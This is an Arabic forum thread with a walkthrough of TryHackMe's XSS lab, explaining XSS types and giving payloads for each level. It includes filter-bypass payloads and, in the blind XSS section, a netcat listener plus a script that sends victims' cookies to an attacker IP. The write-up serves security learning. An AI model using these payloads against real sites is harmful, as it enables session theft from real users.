مضى على الشبكة و يوم من العطاء.
  • تحذير: يجب على كل روّاد الشبكة تشغيل برامج الاختراق داخل الأنظمة الوهمية وهي بهدف التعلم وحماية الأعضاء والتوعية بها

[ WalkTh ] حقن سكريبتات ضارة في مواقع الويب ـ Cross-site Scripting (xss)

3b0-0d3b0-0d is verified member.

{ || مشرف قسم CTF || }
.:: طاقم المشرفين ::.

السمعة:

1699529280896.png


XSS


c1c509a263e7a42bece2f0b77fd1ba1b

الـ Cross-Site Scripting اللي بنختصرها بـ XSS في عالم الأمان السيبراني ، هاد هجوم بتمثل بحقن سكريبتات ضارة في موقع الويب عشان تشتغل على متصفحات الزوار.

راح يكون الحكي عن اربعه مواضيع :

1. الـ XSS Payloads
2. الـ Reflected XSS
3. الـ Stored XSS
4. الـ DOM Based XSS
5. الـ Blind XSS
6. الـ Perfecting your payload

7. الـ Practical Example (Blind XSS)

الاسئله من TryHackMe | Cross-site Scripting

هذه الروم تتطلب اشتراك ⚠️

الـ XSS Payloads

عبارة عن تنفيذ أكواد جافا سكريبت على جهاز الضحية بخلي مخترق يقدر يتلاعب في تفاعلات المستخدمين مع الموقع اللي فيه هذا العيب. الشيء الأساسي في الـ Payload هي التعديلات اللي لازمة على الكود عشان يتنفذ بنجاح.

كيف بشتغل الـ XSS ؟
الموضوع ببدأ بالمخترق; بعمل تلاعب في الموقع الضعيف أمانه عشان يرجع للمستخدمين كود جافا سكريبت ضار. لما ينفذ الكود الضار في متصفح المستخدم، المخترق بكون قادر على تلاعب تام في تفاعل المستخدم مع الموقع.

مثال بسيط إنك تعمل alert box يظهر على الصفحة برسالة نصية زي:
كود:
<script>alert('XSS');</script>

أمثلة على
XSS :

  1. الـ Proof Of Concept : هنا ببساطة بتثبت إنك قادر تنفذ XSS على موقع. ممكن تظهر alert box برسالة زي اللي فوق.
  2. الـ Session Stealing : هنا يتم سرقة معلومات جلسة المستخدم، زي توكين الـ login، وبعدين تتم تشفيرها وإرسالها لموقع تحت سيطرة الهاكر عشان يقدر يتتبع الجلسة ويدخل كمستخدم آخر.
  3. الـ Key Logger : هذا الكود بيسجل كل ما تكتبه على الصفحة ويرسله لموقع تحت سيطرة الهاكر، وهاد ممكن يكون خطير إذا كان الموقع اللي تم تنفيذ الـ Payload عليه يقبل معلومات دخول المستخدمين أو تفاصيل بطاقات الائتمان.
  4. الـ Business Logic : هذا الـ Payload يكون أكثر تخصيصًا من الأمثلة السابقة، ويمكن استخدامه لاستدعاء مصدر شبكة معين أو دالة جافا سكريبت معينة.
    مثال على ذلك، إذا كان هناك دالة جافا سكريبت لتغيير عنوان البريد الإلكتروني للمستخدم تسمى ()user.changeEmail ، فإن الـ Payload يمكن أن يبدو مثل هذا:
كود:
<script>user.changeEmail('[email protected]');</script>
وبعد ما يتم تغيير البريد الإلكتروني، يمكن للمهاجم القيام بهجوم إعادة تعيين كلمة المرور.

ال Reflected XSS



8e3bffe500771c03366de569c3565058

واحد من الامور اللي بيستخدمها الهاكرز على الإنترنت. الفكرة إنه لما تدخل معلومات في موقع ويب معين، زي اسم مستخدم أو كلمة سر، والموقع يرجعلك رد خطأ لما تدخل البيانات، هاد الرد الخطأ فيه معلومات بتتمثل بأسم رسالة خطأ.

المشكلة إنه في بعض المواقع اللي مش مأمنه، المعلومات اللي بتترجع في رسالة الخطأ هاي بتظهر مباشرة في الصفحة. يعني البيانات هاي لا يتم التتحقق منها قبل عرضها على الموقع.

فمثلاً، لو دخلت معلومات خاطئة في الموقع، الموقع راح يظهر لك رسالة خطأ بناءً على اللي دخلته، وهذه الرسالة بتظهر كنص مباشر في الصفحة بدون مراجعة. وبسبب هاد الاشي، الموقع ما بتحقق من محتوى البيانات اللي دخلتها.

هون بيجي دور الهاكرز ليحطوا في الرسالة الخطأ معلومات خبيثة زي أكواد جافا سكريبت.
وهاد الشي بمكنهم من إجبار الأشخاص على تنفيذ الأكواد على متصفحهم، وبالتالي الوصول لمعلومات الجلسة أو المستخدمين.

لازم نفحص كل نقطة ممكن تكون نقطة دخول للبيانات، زي:

  • البارامترات في عنوان الصفحة ( الـURL Query String ).
  • مسار ملف الصفحة في العنوان ( PATH ).
  • في بعض الحالات قد تكون معلومات في HTTP Headers .

سؤال 👇
image

الـ Stored XSS


cc2566d297f7328d91bc8552f902210e

هذا النوع من الاختراق يتم تخزينه في تطبيق الويب نفسه (مثل قاعدة البيانات، على سبيل المثال) ثم يتم تنفيذه عندما يزور المستخدمون الآخرون الموقع أو الصفحة على الويب.

سيناريو

موقع ويب للمدونات يسمح للمستخدمين بنشر تعليقات. للأسف، لا يتم فحص هذه التعليقات لمعرفة ما إذا كانت تحتوي على جافا سكريبت أم تقوم بتصفية أي رمز خبيث.

إذا قمنا الآن بنشر تعليق يحتوي على جافا سكريبت، سيتم تخزينه في قاعدة البيانات، وستعمل الجافا سكريبت في متصفح كل مستخدم آخر يزور المقالة.

التأثير المحتمل

الجافا سكريبت الخبيث يمكن أن يعيد توجيه المستخدمين إلى موقع آخر، أو يسرق ملف تعريف الجلسة الخاص بالمستخدم، أو يقوم بأداء أنشطة أخرى على الموقع بينما يتصرف كمستخدم زائر.

كيفية اختبار Stored XSS :

  • التعليقات على مدونة.
  • معلومات ملف تعريف المستخدم.
  • قوائم المواقع على الموقع.

سؤال 👇
image

الـ DOM Based XSS

الـ Document Object Model هو نظام بتحكم في كيفية عرض وتنسيق صفحات الويب.
يعني كل صفحة ويب فيها مكونات مختلفة مثل نصوص وصور وأزرار، والـ DOM بساعد البرمجين يتحكموا في هاي المكونات.
الـ DOM Based XSS بتصير لما برمجة الصفحة الويب بتستخدم لغة الجافا سكريبت وبتسمح للمهاجم يحط برمجة خبيثة مباشرة في المتصفح بدون ما يحتاج يحمّل صفحات جديدة.
يعني السكربت بتشغل بناءً على التفاعل اللي المستخدم بيعمله مع الصفحة بشكل مباشر.


24a54ac532b5820bf0ffdddf00ab2247

كيفية اختبار DOM Based XSS :

  • لازم تفتش عن أماكن في الكود اللي بتعامل فيها مع متغيرات معينة، مثل window.location.x ، وبعدين بتشوف كيف هاي القيم بتتعامل معها وإذا كانت بتنعرض في صفحة الويب أو بتمر عبر وظائف جافا سكريبت خطيرة مثل ()eval

سؤال 👇
image

الـ Blind XSS

الـ Blind XSS هو زي الـ Stored XSS اللي شرحته قبل, يعني بتحط رسالتك في الموقع وحد ثاني بقرأها بس إنت ما بتشوف رسالتك شغالة وما بتقدر تجربها على حالك اول.

فية اختبار Blind XSS:

  • لما بتختبر الثغرات في الـ Blind XSS ، لازم تتأكد إنه كود الاختراق بعطي نداءً لموقع الهاكر (غالبًا طلب HTTP). هاد بساعدك تعرف إذا كودك شغال ولا لا.
  • أداة شهيرة لاختبار الـ Blind XSS هي XSS Hunter Express . مع إمكانية عمل أداتك الخاصة بلغة JavaScript، الأداة هاي بتلتقط تلقائيًا معلومات زي الكوكيز، والروابط، ومحتوى الصفحة وأشياء ثانيه.

اسئله 👇
image

ال Perfecting your payload

شرح الامر التالي
كود:
<script>alert('3b0~0d');</script>
الـ <script> : هذا العنصر HTML يستخدم لتحديد مكان كتابة كود JavaScript داخل صفحة الويب. في هذه الحالة، نحن نفتح مربع النص لوضع كود JavaScript .

الـ ;alert('3b0~0d') : هذا هو الجزء الرئيسي من الكود. ()alert هي دالة JavaScript تُستخدم لعرض رسالة تنبيه على الصفحة. بين الأقواس، نقوم بوضع النص الذي نريد عرضه كرسالة تنبيه، وفي هذه الحالة، النص هو '3b0~0d'.

الـ </script> : هذا العنصر HTML يُغلق مربع النص الذي بدأناه بواسطة <script>.


Level 1

بالبدايه نجرب
كود:
<script>alert('3b0~0d');</script>
الكود <script>alert('3b0~0d');</script> هو كود جافا سكريبت، وهو يقوم بتنفيذ إجراء بسيط عندما يتم تحميل صفحة الويب التي يتم فيها تضمينه.
هذا الإجراء هو عرض نافذة تنبيه ( alert ) تحتوي على النص 3b0~0d .

image

لكن بنفذ الاسم التالي كما هو مطلوب بالسؤال عشان نكمل الحل وننتقل للمستوى الثاني
كود:
<script>alert('THM');</script>

Level 2

بالبدايه نجرب
كود:
<script>alert('3b0~0d');</script>

كما يظهر ان الإدخال الذي ادخله يأخذه ك input

image
لما ندخل بيانات في الإدخال على صفحة الويب ونضغط على الزر ارسال، يتم تقديم هذه البيانات عادة داخل علامات HTML معينة مثل <input> أو <textarea> .

ف بنستخدم "> بعد بياناتنا، هيك بنخبر البرنامج انو انتهينا من هذا العنصر وبدنا نبدأ بتنفيذ الكود

ف عن طريق الامر التالي بنقدر نحل التحدي الثاني
كود:
"><script>alert('THM');</script>

Level 3

بالبدايه نجرب
كود:
<script>alert('3b0~0d');</script>
كما يظهر ان الادخال الذي ادخله يأخذه ويعرضه داخل Text Area


image
نجد الكود بال HTML هكذا

image

  • باستخدام </textarea>, نقوم بإغلاق عنصر <textarea> بشكل مباشر، مما يعني أن أي نص إضافي سيتم عرضه ككود HTML عادي على الصفحة بدلاً من أن يتم استخدامه كنص داخل <textarea>
ف يمكن حل التحدي الثالث
كود:
</textarea><script>alert('THM');</script>

Level 4

بالبدايه نجرب
كود:
<script>alert('3b0~0d');</script>
تجد انه طبع بعض من المكتوب وقام بفلتره المدخلات الاخرى

image

نجرب ان ندخل اسم ,كما يظهر قد قام بطباعه الاسم الذي ادخلته

image

يمكن تجنب هذه الحاله عن طريق الكود التالي
كود:
';alert('THM');//
شرح الامر

الـ ;' : تستخدم لإغلاق أي تعليمة HTML أو JavaScript تكون جارية في الوقت الحالي.

الـ ;alert('THM') : هذا هو الجزء الذي ينفذ كود JavaScript الفعلي. سبق وتكلمنا عنها…

الـ // : هاد تعليق في الكود. التعليق في JavaScript يبدأ بـ // وتستخدم لجعل الجزء الباقي من السطر تعليقًا ولا يتم تنفيذه.


Level 5

بالبدايه نجرب
كود:
<script>alert('3b0~0d');</script>
تجد أن الكود JavaScript لن يعمل لأن هناك تصفية تمنع بعض الكلمات.

image
يمكن التغلب عليه عن طريق هذا الكود
كود:
<sscriptcript>alert('THM');</sscriptcript>
الـ <sscriptcript> تمثل بداية كود JavaScript. يتم تعامل معها على أنها تقنية لتجاوز التصفية عن طريق إدراج حروف إضافية.

الـ ;alert('THM') : هذا هو الجزء الذي ينفذ كود JavaScript الفعلي. سبق وتكلمنا عنها…

الـ </sscriptcript> تمثل نهاية الكود


Level 6

بالبدايه نجرب ,كما هو عند فتح الموقع
كود:
images/cat.jpg/
image
تجده يعرض صوره

يمكن التغلب على هذا التحدي عندما
نستخدم خاصية onload في عنصر الصورة (img)، وبنحكي للصفحة لما تتم عملية تحميل الصورة بنجاح، قم بتنفيذ الكود التالي
الكود هو alert('THM') ، وهذا يقوم بعرض نافذة تنبيه على الصفحة تحتوي على النص “THM”.

يمكن حله عن طريق الامر التالي 👇
كود:
/images/cat.jpg" onload="alert('THM');

الـ Practical Example (Blind XSS)

بعد انشاء حساب بالموقع

image
جرب اكتب رساله تكت تجربه

image

تجد بال html ان النص موجود جوا <textarea>

image

نجرب الكود التالي ل ننهي ال textarea كما فعلنا سابقا
كود:
test</textarea>
image
بعدها نجرب الكود التالي
كود:
</textarea><script>alert('THM');</script>
وفعلا عند الدخول الى التكت ( يعمل الكود )

image
الآن راح يكون عنا احتمال كبير إن أحد أفراد الدعم راح يشوف التذكرة وهاد رااح يساعدنا او يتيح لنا إننا نشغل جافا سكريبت كود.

ممكن نحصل على معلومات مهمه عن طريق تنفيذ كود

مثل الكوكيز الخاصه بالمستخدم

التلاعب بملفات تعريف الارتباط ( Cookie Tampering )

الكوكيز هي عبارة عن قطع صغيرة من البيانات تُخزَّن على جهاز الكمبيوتر الخاص بك. تُحفظ الكوكيز عندما تتلقى رأس Set-Cookie من خادم الويب. بعد ذلك، في كل طلب تقوم به على الإنترنت، ستقوم بإرسال بيانات الكوكيز إلى خادم الويب. نظرًا لأن HTTP لا يحتفظ بسجل لطلباتك السابقة، يمكن استخدام الكوكيز لتذكير خادم الويب بمن أنت، وببعض الإعدادات الشخصية للموقع، أو ما إذا كنت قد قمت بزيارة الموقع من قبل. لنلقي نظرة على طلب HTTP كمثال:

في هذا الطلب، تُظهر الرسمة كيفية إدخال الكوكيز في طلبات HTTP للسماح بتخزين معلومات المستخدم

مشاهدة المرفق 3099

يمكن استخدام الكوكيز لأغراض متعددة، ولكنها تُستخدم عادة بشكل رئيسي للمصادقة على موقع الويب. قيمة الكوكيز عادة ما تكون رمزًا (رمز سري فريد غير سهل التخمين بواسطة البشر).
يمكن عن طريق الكود التالي الحصول على معلومات الكوكيز الخاصه بالمستخدم 👇👇

قبل كتابته يجب تشغيل listener عن طريق اداه (nc) netcat
عن طريق الامر التالي👇
كود:
nc -nlvp 2004
كود:
</textarea><script>fetch('http://IP:2004?cookie=' + btoa(document.cookie) );</script>
قم بأستبدال الـ IP بال IP الخاص ب جهازك

شرح👇

الـ ()fetch : هو أمر جافا سكريبت يُستخدم لجلب الموارد من الخادم عبر الشبكة.

الـ '=http://IP:2004?cookie' : هذا هو عنوان الويب الذي يتم إرسال البيانات إليه

  • ويتم إضافة =cookie? لإضافة معلومات الكوكيز .
الـ btoa(document.cookie) : هون يتم تشفير محتوى ملفات الكوكيز باستخدام Base64.
  • والـ ()btoa هي دالة تقوم بتشفير البيانات
  • والـ document.cookie هو الجزء الذي يحتوي على معلومات الكوكيز في المتصفح.
ثم يعرض لك المعلومات والكوكيز مشفر
image
عن طريق موقع CyberChef
image
 
التعديل الأخير:
وان شاء الله المنصات الثانيه جاييها الدور
امبين عبود مو ناوي يخلي اشي

الله يوفقك ❤️

الشرح 🔥
 
اكيد بخليهم بنفس المنشور لانهم نفس الموضوع

لكن حاليا ماشي بموقع TryHackMy بس امشي بباث معينه فيه بنتقل لموقع ثاني وبضيف المواضيع المتشابهة على نفس المنشور
 
شو حجي ؟
شو رأيك تخليلنا اشي نشرحه طيب ؟
 
جميل جدا
 


XSS


الـ Cross-Site Scripting اللي بنختصرها بـ XSS في عالم الأمان السيبراني ، هاد هجوم بتمثل بحقن سكريبتات ضارة في موقع الويب عشان تشتغل على متصفحات الزوار.

راح يكون الحكي عن اربعه مواضيع :

1. الـ XSS Payloads

2. الـ Reflected XSS

3. الـ Stored XSS

4. الـ DOM Based XSS

5. الـ Blind XSS

6. الـ Perfecting your payload

7. الـ Practical Example (Blind XSS)


الاسئله من TryHackMe | Cross-site Scripting


ال XSS Payloads

عبارة عن تنفيذ أكواد جافا سكريبت على جهاز الضحية بخلي مخترق يقدر يتلاعب في تفاعلات المستخدمين مع الموقع اللي فيه هذا العيب. الشيء الأساسي في الـ Payload هي التعديلات اللي لازمة على الكود عشان يتنفذ بنجاح.

كيف بشتغل الـ XSS؟
الموضوع ببدأ بالمخترق; بعمل تلاعب في الموقع الضعيف أمانه عشان يرجع للمستخدمين كود جافا سكريبت ضار. لما ينفذ الكود الضار في متصفح المستخدم، المخترق بكون قادر على تلاعب تام في تفاعل المستخدم مع الموقع.

مثال بسيط إنك تعمل alert box يظهر على الصفحة برسالة نصية زي:
كود:
<script>alert('XSS');</script>

أمثلة على XSS :
  1. الـ Proof Of Concept : هنا ببساطة بتثبت إنك قادر تنفذ XSS على موقع. ممكن تظهر alert box برسالة زي اللي فوق.
  2. الـ Session Stealing : هنا يتم سرقة معلومات جلسة المستخدم، زي توكين الـ login، وبعدين تتم تشفيرها وإرسالها لموقع تحت سيطرة الهاكر عشان يقدر يتتبع الجلسة ويدخل كمستخدم آخر.
  3. الـ Key Logger : هذا الكود بيسجل كل ما تكتبه على الصفحة ويرسله لموقع تحت سيطرة الهاكر، وهاد ممكن يكون خطير إذا كان الموقع اللي تم تنفيذ الـ Payload عليه يقبل معلومات دخول المستخدمين أو تفاصيل بطاقات الائتمان.
  4. الـ Business Logic : هذا الـ Payload يكون أكثر تخصيصًا من الأمثلة السابقة، ويمكن استخدامه لاستدعاء مصدر شبكة معين أو دالة جافا سكريبت معينة.
    مثال على ذلك، إذا كان هناك دالة جافا سكريبت لتغيير عنوان البريد الإلكتروني للمستخدم تسمى ()user.changeEmail ، فإن الـ Payload يمكن أن يبدو مثل هذا:
كود:
<script>user.changeEmail('[email protected]');</script>
وبعد ما يتم تغيير البريد الإلكتروني، يمكن للمهاجم القيام بهجوم إعادة تعيين كلمة المرور.

ال Reflected XSS




واحد من الامور اللي بيستخدمها الهاكرز على الإنترنت. الفكرة إنه لما تدخل معلومات في موقع ويب معين، زي اسم مستخدم أو كلمة سر، والموقع يرجعلك رد خطأ لما تدخل البيانات، هاد الرد الخطأ فيه معلومات بتتمثل بأسم رسالة خطأ.

المشكلة إنه في بعض المواقع اللي مش مأمنه، المعلومات اللي بتترجع في رسالة الخطأ هاي بتظهر مباشرة في الصفحة. يعني البيانات هاي لا يتم التتحقق منها قبل عرضها على الموقع.

فمثلاً، لو دخلت معلومات خاطئة في الموقع، الموقع راح يظهر لك رسالة خطأ بناءً على اللي دخلته، وهذه الرسالة بتظهر كنص مباشر في الصفحة بدون مراجعة. وبسبب هاد الاشي، الموقع ما بتحقق من محتوى البيانات اللي دخلتها.

هون بيجي دور الهاكرز ليحطوا في الرسالة الخطأ معلومات خبيثة زي أكواد جافا سكريبت.
وهاد الشي بمكنهم من إجبار الأشخاص على تنفيذ الأكواد على متصفحهم، وبالتالي الوصول لمعلومات الجلسة أو المستخدمين.

لازم نفحص كل نقطة ممكن تكون نقطة دخول للبيانات، زي:
  • البارامترات في عنوان الصفحة ( الـURL Query String ).
  • مسار ملف الصفحة في العنوان ( PATH ).
  • في بعض الحالات قد تكون معلومات في HTTP Headers .



ال Stored XSS



هذا النوع من الاختراق يتم تخزينه في تطبيق الويب نفسه (مثل قاعدة البيانات، على سبيل المثال) ثم يتم تنفيذه عندما يزور المستخدمون الآخرون الموقع أو الصفحة على الويب.

سيناريو

موقع ويب للمدونات يسمح للمستخدمين بنشر تعليقات. للأسف، لا يتم فحص هذه التعليقات لمعرفة ما إذا كانت تحتوي على جافا سكريبت أم تقوم بتصفية أي رمز خبيث.

إذا قمنا الآن بنشر تعليق يحتوي على جافا سكريبت، سيتم تخزينه في قاعدة البيانات، وستعمل الجافا سكريبت في متصفح كل مستخدم آخر يزور المقالة.

التأثير المحتمل

الجافا سكريبت الخبيث يمكن أن يعيد توجيه المستخدمين إلى موقع آخر، أو يسرق ملف تعريف الجلسة الخاص بالمستخدم، أو يقوم بأداء أنشطة أخرى على الموقع بينما يتصرف كمستخدم زائر.

كيفية اختبار Stored XSS :
  • التعليقات على مدونة.
  • معلومات ملف تعريف المستخدم.
  • قوائم المواقع على الموقع.

ال DOM Based XSS

الـ Document Object Model هو نظام بتحكم في كيفية عرض وتنسيق صفحات الويب.
يعني كل صفحة ويب فيها مكونات مختلفة مثل نصوص وصور وأزرار، والـ DOM بساعد البرمجين يتحكموا في هاي المكونات.
الـ DOM Based XSS بتصير لما برمجة الصفحة الويب بتستخدم لغة الجافا سكريبت وبتسمح للمهاجم يحط برمجة خبيثة مباشرة في المتصفح بدون ما يحتاج يحمّل صفحات جديدة.
يعني السكربت بتشغل بناءً على التفاعل اللي المستخدم بيعمله مع الصفحة بشكل مباشر.



كيفية اختبار DOM Based XSS :
  • لازم تفتش عن أماكن في الكود اللي بتعامل فيها مع متغيرات معينة، مثل window.location.x ، وبعدين بتشوف كيف هاي القيم بتتعامل معها وإذا كانت بتنعرض في صفحة الويب أو بتمر عبر وظائف جافا سكريبت خطيرة مثل ()eval

ال Blind XSS

الـ Blind XSS هو زي الـ Stored XSS اللي شرحته قبل, يعني بتحط رسالتك في الموقع وحد ثاني بقرأها بس إنت ما بتشوف رسالتك شغالة وما بتقدر تجربها على حالك اول.

فية اختبار Blind XSS:
  • لما بتختبر الثغرات في الـ Blind XSS ، لازم تتأكد إنه كود الاختراق بعطي نداءً لموقع الهاكر (غالبًا طلب HTTP). هاد بساعدك تعرف إذا كودك شغال ولا لا.
  • أداة شهيرة لاختبار الـ Blind XSS هي XSS Hunter Express . مع إمكانية عمل أداتك الخاصة بلغة JavaScript، الأداة هاي بتلتقط تلقائيًا معلومات زي الكوكيز، والروابط، ومحتوى الصفحة وأشياء ثانيه.

ال Perfecting your payload

شرح الامر التالي
كود:
<script>alert('3b0~0d');</script>
الـ <script> : هذا العنصر HTML يستخدم لتحديد مكان كتابة كود JavaScript داخل صفحة الويب. في هذه الحالة، نحن نفتح مربع النص لوضع كود JavaScript .

الـ ;alert('3b0~0d') : هذا هو الجزء الرئيسي من الكود. ()alert هي دالة JavaScript تُستخدم لعرض رسالة تنبيه على الصفحة. بين الأقواس، نقوم بوضع النص الذي نريد عرضه كرسالة تنبيه، وفي هذه الحالة، النص هو '3b0~0d'.

الـ </script> : هذا العنصر HTML يُغلق مربع النص الذي بدأناه بواسطة <script>.

Level 1

بالبدايه نجرب
كود:
<script>alert('3b0~0d');</script>
الكود <script>alert('3b0~0d');</script> هو كود جافا سكريبت، وهو يقوم بتنفيذ إجراء بسيط عندما يتم تحميل صفحة الويب التي يتم فيها تضمينه.
هذا الإجراء هو عرض نافذة تنبيه ( alert ) تحتوي على النص 3b0~0d .

لكن بنفذ الاسم التالي كما هو مطلوب بالسؤال عشان نكمل الحل وننتقل للمستوى الثاني
كود:
<script>alert('THM');</script>

Level 2

بالبدايه نجرب
كود:
<script>alert('3b0~0d');</script>

كما يظهر ان الإدخال الذي ادخله يأخذه ك input

لما ندخل بيانات في الإدخال على صفحة الويب ونضغط على الزر ارسال، يتم تقديم هذه البيانات عادة داخل علامات HTML معينة مثل <input> أو <textarea> .

ف بنستخدم "> بعد بياناتنا، هيك بنخبر البرنامج انو انتهينا من هذا العنصر وبدنا نبدأ بتنفيذ الكود

ف عن طريق الامر التالي بنقدر نحل التحدي الثاني
كود:
"><script>alert('THM');</script>

Level 3

بالبدايه نجرب
كود:
<script>alert('3b0~0d');</script>
كما يظهر ان الادخال الذي ادخله يأخذه ويعرضه داخل Text Area


نجد الكود بال HTML هكذا

مشاهدة المرفق 3633
  • باستخدام </textarea>, نقوم بإغلاق عنصر <textarea> بشكل مباشر، مما يعني أن أي نص إضافي سيتم عرضه ككود HTML عادي على الصفحة بدلاً من أن يتم استخدامه كنص داخل <textarea>
ف يمكن حل التحدي الثالث
كود:
</textarea><script>alert('THM');</script>

Level 4

بالبدايه نجرب
كود:
<script>alert('3b0~0d');</script>
تجد انه طبع بعض من المكتوب وقام بفلتره المدخلات الاخرى


نجرب ان ندخل اسم ,كما يظهر قد قام بطباعه الاسم الذي ادخلته


يمكن تجنب هذه الحاله عن طريق الكود التالي
كود:
';alert('THM');//
شرح الامر

الـ ;' : تستخدم لإغلاق أي تعليمة HTML أو JavaScript تكون جارية في الوقت الحالي.

الـ ;alert('THM') : هذا هو الجزء الذي ينفذ كود JavaScript الفعلي. سبق وتكلمنا عنها…

الـ // : هاد تعليق في الكود. التعليق في JavaScript يبدأ بـ // وتستخدم لجعل الجزء الباقي من السطر تعليقًا ولا يتم تنفيذه.

Level 5

بالبدايه نجرب
كود:
<script>alert('3b0~0d');</script>
تجد أن الكود JavaScript لن يعمل لأن هناك تصفية تمنع بعض الكلمات.

يمكن التغلب عليه عن طريق هذا الكود
كود:
<sscriptcript>alert('THM');</sscriptcript>
الـ <sscriptcript> تمثل بداية كود JavaScript. يتم تعامل معها على أنها تقنية لتجاوز التصفية عن طريق إدراج حروف إضافية.

الـ ;alert('THM') : هذا هو الجزء الذي ينفذ كود JavaScript الفعلي. سبق وتكلمنا عنها…

الـ </sscriptcript> تمثل نهاية الكود

Level 6

بالبدايه نجرب ,كما هو عند فتح الموقع
كود:
images/cat.jpg/
تجده يعرض صوره

يمكن التغلب على هذا التحدي عندما
نستخدم خاصية onload في عنصر الصورة (img)، وبنحكي للصفحة لما تتم عملية تحميل الصورة بنجاح، قم بتنفيذ الكود التالي
الكود هو alert('THM') ، وهذا يقوم بعرض نافذة تنبيه على الصفحة تحتوي على النص “THM”.

يمكن حله عن طريق الامر التالي 👇
كود:
/images/cat.jpg" onload="alert('THM');

ال Practical Example (Blind XSS)

بعد انشاء حساب بالموقع

جرب اكتب رساله تكت تجربه


تجد بال html ان النص موجود جوا <textarea>


نجرب الكود التالي ل ننهي ال textarea كما فعلنا سابقا
كود:
test</textarea>
بعدها نجرب الكود التالي
كود:
</textarea><script>alert('THM');</script>
وفعلا عند الدخول الى التكت ( يعمل الكود )

الآن راح يكون عنا احتمال كبير إن أحد أفراد الدعم راح يشوف التذكرة وهاد رااح يساعدنا او يتيح لنا إننا نشغل جافا سكريبت كود.

ممكن نحصل على معلومات مهمه عن طريق تنفيذ كود

مثل الكوكيز الخاصه بالمستخدم

يمكن عن طريق الكود التالي الحصول على معلومات الكوكيز الخاصه بالمستخدم 👇👇

قبل كتابته يجب تشغيل listener عن طريق اداه (nc) netcat
عن طريق الامر التالي👇
كود:
nc -nlvp 2004
كود:
</textarea><script>fetch('http://IP:2004?cookie=' + btoa(document.cookie) );</script>
قم بأستبدال الـ IP بال IP الخاص ب جهازك

شرح👇

الـ ()fetch : هو أمر جافا سكريبت يُستخدم لجلب الموارد من الخادم عبر الشبكة.

الـ '=http://IP:2004?cookie' : هذا هو عنوان الويب الذي يتم إرسال البيانات إليه
  • ويتم إضافة =cookie? لإضافة معلومات الكوكيز .
الـ btoa(document.cookie) : هون يتم تشفير محتوى ملفات الكوكيز باستخدام Base64.
  • والـ ()btoa هي دالة تقوم بتشفير البيانات
  • والـ document.cookie هو الجزء الذي يحتوي على معلومات الكوكيز في المتصفح.
ثم يعرض لك المعلومات والكوكيز مشفر
عن طريق موقع CyberChef
مبدع كالعادة 🦥✨
 
تمام يا ريس..تم تطبيق الشرح و رفس الترمينال بنجاح
xss.webp

عن جد XSS و XEE لسة عاملة قلق للشركات الكبرى
موفقين شباب
 

آخر المشاركات

فانوس

رمضان
عودة
أعلى